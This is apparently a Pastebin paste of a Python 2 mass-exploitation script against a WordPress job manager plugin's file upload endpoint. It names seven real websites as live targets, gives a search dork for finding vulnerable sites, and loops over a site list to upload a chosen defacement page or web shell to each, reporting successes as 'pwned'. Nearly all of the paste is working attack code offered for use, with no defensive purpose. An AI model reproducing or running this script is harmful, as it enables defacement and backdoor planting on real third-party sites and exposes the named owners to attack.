LOoLzeC

wp-job-manager.py

May 8th, 2019
494
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.40 KB | None | 0 0
  1. # Live Target:
  2. #https://www.gismartware.com/
  3. #https://www.arraymarketing.com/
  4. #https://www.realitychecksystems.com/
  5. #https://marketing4ecommerce.net/
  6. #https://adgmultifamily.com/
  7. #https://www.perigord.com/
  8. #https://blacknursesrock.com/
  9.  
  10. # Exploit Title: WordPress plugin job manager
  11. # Dorks:  inurl:/wp-content/uploads/job-manager-uploads/
  12. # Exploit:  /jm-ajax/upload_file
  13. # Exploit Author: facebook.com/achmad.luthfi.hadi.3
  14. # Requirements: python2x with http requests libary
  15. # Install: pip2 install requests
  16.  
  17.  
  18. import requests
  19.  
  20. filename=""
  21. pathfiles=""
  22. weblists=""
  23.  
  24. def exploit(url,filename,pathfiles):
  25.     try:
  26.         payload={"files":(filename,
  27.             open(pathfiles,"rb"),
  28.                 "multipart/form-data")}
  29.         for x in requests.post("%s/jm-ajax/upload_file"%(url),
  30.                 files=payload).json()["files"]:
  31.             print "[+] %s -> pwned."%(x["url"])
  32.     except Exception as f:
  33.         print("[!] %s -> failed upload."%(url))
  34.        
  35. def loadFile(filename,pathfiles,weblists):
  36.     try:
  37.         pathfiles=raw_input("[?] File Deface/Shell: ")
  38.         g=open(pathfiles)
  39.     except Exception as _e:
  40.         print("[!] %s"%(_e))
  41.         loadFile(filename,pathfiles,weblists)
  42.     filename=raw_input("[?] File Name: ")
  43.     try:
  44.         file=open(raw_input("[?] WebList: ")).read().splitlines()
  45.     except Exception as _e:
  46.         print("[!] %s"%(_e))
  47.         loadFile(filename,pathfiles,weblists)
  48.     for x in file:
  49.         exploit(x,filename,pathfiles)
  50.    
  51. loadFile(filename,pathfiles,weblists)
Advertisement
Add Comment
Please, Sign In to add comment